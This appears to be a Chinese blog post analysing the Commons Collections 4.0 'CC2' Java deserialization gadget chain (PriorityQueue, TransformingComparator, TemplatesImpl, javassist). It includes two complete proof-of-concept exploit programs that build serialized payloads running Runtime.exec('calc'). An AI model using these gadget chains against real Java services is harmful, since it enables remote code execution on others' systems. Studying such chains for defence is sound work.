通俗易懂的Java Commons Collection 2分析 - 先知社区
Java反序列化之CC2
Java–cc2链反序列化漏洞&超级清晰详细 - Erichas - 博客园
Java反序列化-CC2分析 - 掘金
前言
距离上次学习CC1时间有点长了,最近事情太多了,但是java学习不能放下。
知识准备
如果搜索Commons-Collections能注意到有两个,一个是cc一个是cc 4.0,而cc2是专门为cc 4.0版本的链子。

CC2
依赖
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
   | <dependencies>         <!         <dependency>             <groupId>org.apache.commons</groupId>             <artifactId>commons-collections4</artifactId>             <version>4.0</version>         </dependency>
          <!         <dependency>             <groupId>org.javassist</groupId>             <artifactId>javassist</artifactId>             <version>3.22.0-GA</version>         </dependency>
      </dependencies>
   | 
这里相比于前面多了两个类:PriorityQueue和TransformingComparator
PriorityQueue
一个是PriorityQueue,它的作用是将元素按照优先级添加进入列,然后按照优先级高低依次出列,基本操作与queue差不多。
| throw Exception | 返回false或null |  | 
|---|
| 添加元素到队尾 | add(E e) | boolean offer(E e) | 
| 取队首元素并删除 | E remove() | E poll() | 
| 取队首元素但不删除 | E element() | E peek() | 
PriorityQueue默认按元素比较的顺序排序(必须实现Comparable接口),也可以通过Comparator自定义排序算法(元素就不必实现Comparable接口)。
这里使用这个类是为了使用它的readObject()方法。

这里按照size大小将queue重新创建,通过readObject读取objectAnnotation填充元素。这个queue是一个瞬间属性。

然后进入heapify方法。

然后就是siftDown方法(堆方法)

根据comparator的空不空分别进入不同方法。

这里调用的comparator.compare方法。
它将一个转换器应用于集合中的对象,然后使用转换后的结果进行比较。这个比较器用于排序或维护已排序的集合,如有序集合(SortedSet)或优先队列。
我们查看其中的compare方法:

然后就调用transform方法即可。
也就是:
1 2 3 4
   | PriorityQueue.readObject()  TransformingComparator.compare()   ChainedTransformer.transform()    InvokerTransformer.transform()
   | 
Poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
   | package com.natro92;
  import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer;
  import java.io.*; import java.lang.reflect.Field; import java.util.PriorityQueue;
  public class CC2Test {     public static void main(String[] args) throws Exception {                  Transformer[] transformers = new Transformer[]{             new ConstantTransformer(Runtime.class),             new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",new Class[]{}}),             new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,new Object[]{}}),             new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})         };                  Transformer[] test = new Transformer[]{};
                   ChainedTransformer chain = new ChainedTransformer(test);
          PriorityQueue queue = new PriorityQueue(new TransformingComparator(chain));         queue.add(1);         queue.add(1);
                   Field field = chain.getClass().getDeclaredField("iTransformers");         field.setAccessible(true);         field.set(chain,transformers);
          ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CC2"));         oos.writeObject(queue);         ObjectInputStream ois = new ObjectInputStream(new FileInputStream("CC2"));         ois.readObject();
 
      } }
 
   | 
其中的add,是为了进行元素比较时,最少需要两个元素才能比较。

因为:

PS:我估计不止我一个不知道>>>在这里是什么意思。
for (int i = (size >>> 1) - 1; i >= 0; i–): 这是一个for循环,它的初始值是 (size >>> 1) - 1。这里的 size 可能是指堆中元素的数量,>>> 是无符号右移运算符,它将 size 右移一位。这样,(size >>> 1) 获得的是最后一个非叶子节点的索引加1(因为在完全二叉树中,所有非叶子节点的索引都小于 size / 2)。然后减1找到最后一个非叶子节点的确切索引,因为数组是从0开始的。循环的每一次迭代中,i 递减,这意味着此for循环是从堆(数组)中的最后一个非叶子节点向上遍历到根节点。
也就是说就等于size/2
然而我运行这段代码,弹了两个计算器,而不是一个…
运行了两次这里的transform方法

使用TemplatesImpl
通过使用TemplatesImpl可以不用到数组,利用之前分析得到的newtransformer
这里使用一个工具类来方便构造java字节码——javassist
依赖
1 2 3 4 5
   | <dependency>             <groupId>org.javassist</groupId>             <artifactId>javassist</artifactId>             <version>3.22.0-GA</version>         </dependency>
   | 
这里的javassist构造恶意类的字节码,然后将其编译为class文件,最后用二进制码来存储。
javassist测试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
   | package com.natro92;
  import javassist.ClassPool; import javassist.CtClass;
  public class JavassistDemo {     public static void main(String[] args) throws Exception{                  ClassPool pool = ClassPool.getDefault();                  CtClass ctClass = pool.get(Hello.class.getName());                  String cmd = "Runtime.getRuntime().exec(\"calc.exe\");";                  ctClass.makeClassInitializer().insertBefore(cmd);                  ctClass.setName("Hello");                  ctClass.writeFile("testClass");     } }
 
   | 
而Hello类里面如下:
1 2 3 4
   | package com.natro92;
  public class Hello { }
   | 
运行这段代码,会在testClass这个文件夹下生成一个Hello.class然后反编译的内容如下:

然后使用ClassLoader类将字节码加载为内存形式的class对象。
ClassLoader解析字节码
比如编写测试代码:
1 2 3 4 5 6 7 8 9
   | public class ClassLoaderTest extends ClassLoader{     public ClassLoaderTest (ClassLoader parent) {         super(parent);     }
      public Class define(byte [] b) {         return super.defineClass(b, 0, b.length);     } }
  | 
然后再Demo中修改为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
   | package com.natro92;
  import javassist.ClassPool; import javassist.CtClass;
  public class JavassistDemo {     public static void main(String[] args) throws Exception{                  ClassPool pool = ClassPool.getDefault();                  CtClass ctClass = pool.get(Hello.class.getName());                  String cmd = "Runtime.getRuntime().exec(\"calc.exe\");";                  ctClass.makeClassInitializer().insertBefore(cmd);                  ctClass.setName("Hello");                  ctClass.writeFile("testClass");
          final byte[] bytes = ctClass.toBytecode();         ClassLoaderTest classLoader = new ClassLoaderTest(JavassistDemo.class.getClassLoader());         classLoader.define(bytes).newInstance();     } }
 
   | 
我们能发现成功由字节码生成了实例对象:

继续TemplatesImpl

这里有一个getTransletInstance方法调用,Instance就是实例化,进去。

这里的defineTransletClasses时加载字节码并实例化中的重要部分,继续

这里第一个运用了自定义的ClassLoader:
1 2 3 4 5 6
   | TransletClassLoader loader = (TransletClassLoader)             AccessController.doPrivileged(new PrivilegedAction() {                 public Object run() {                     return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());                 }             });
   | 
进去可以看到继承的ClassLoader满足要求

然后
1
   | _class[i] = loader.defineClass(_bytecodes[i]);
   | 
使用loader的defineClass方法从_bytecodes加载字节码,并放入_class数组中,最后,当我们回到getTransletInstance时,就会调用_class[_transletIndex].newInstance()实例化字节码中的类。
几个细节

getTransletInstance这里会对_name判断是否为空,以及需要对使用的字节码类继承AbstractTranslet
原因如下:

From https://chenlvtang.top/2021/12/11/Java反序列化之CC2/
接下来就可以构造Poc了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88
   | import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.InvokerTransformer;
  import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.PriorityQueue;
  public class Test2 {
      public static void main(String[] args) throws Exception{
          Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);         constructor.setAccessible(true);         InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");
          TransformingComparator Tcomparator = new TransformingComparator(transformer);         PriorityQueue queue = new PriorityQueue(1);
          ClassPool pool = ClassPool.getDefault();         pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));         CtClass cc = pool.makeClass("Cat");         String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";         cc.makeClassInitializer().insertBefore(cmd);         String randomClassName = "EvilCat" + System.nanoTime();         cc.setName(randomClassName);                  cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));         byte[] classBytes = cc.toBytecode();         byte[][] targetByteCodes = new byte[][]{classBytes};
          TemplatesImpl templates = TemplatesImpl.class.newInstance();         setFieldValue(templates, "_bytecodes", targetByteCodes);         setFieldValue(templates, "_name", "blckder02");         setFieldValue(templates, "_class", null);
          Object[] queue_array = new Object[]{templates,1};         Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");         queue_field.setAccessible(true);         queue_field.set(queue,queue_array);
          Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");         size.setAccessible(true);         size.set(queue,2);
 
          Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");         comparator_field.setAccessible(true);         comparator_field.set(queue,Tcomparator);
          try{             ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2.bin"));             outputStream.writeObject(queue);             outputStream.close();
              ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2.bin"));             inputStream.readObject();         }catch(Exception e){             e.printStackTrace();         }     }
      public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {         final Field field = getField(obj.getClass(), fieldName);         field.set(obj, value);     }
      public static Field getField(final Class<?> clazz, final String fieldName) {         Field field = null;         try {             field = clazz.getDeclaredField(fieldName);             field.setAccessible(true);         }         catch (NoSuchFieldException ex) {             if (clazz.getSuperclass() != null)                 field = getField(clazz.getSuperclass(), fieldName);         }         return field;     } }
   | 
最后
还是要多搞几次,这个只写一次只能仅仅理解皮毛,AbstractTranslet那里理解的还是不太清楚。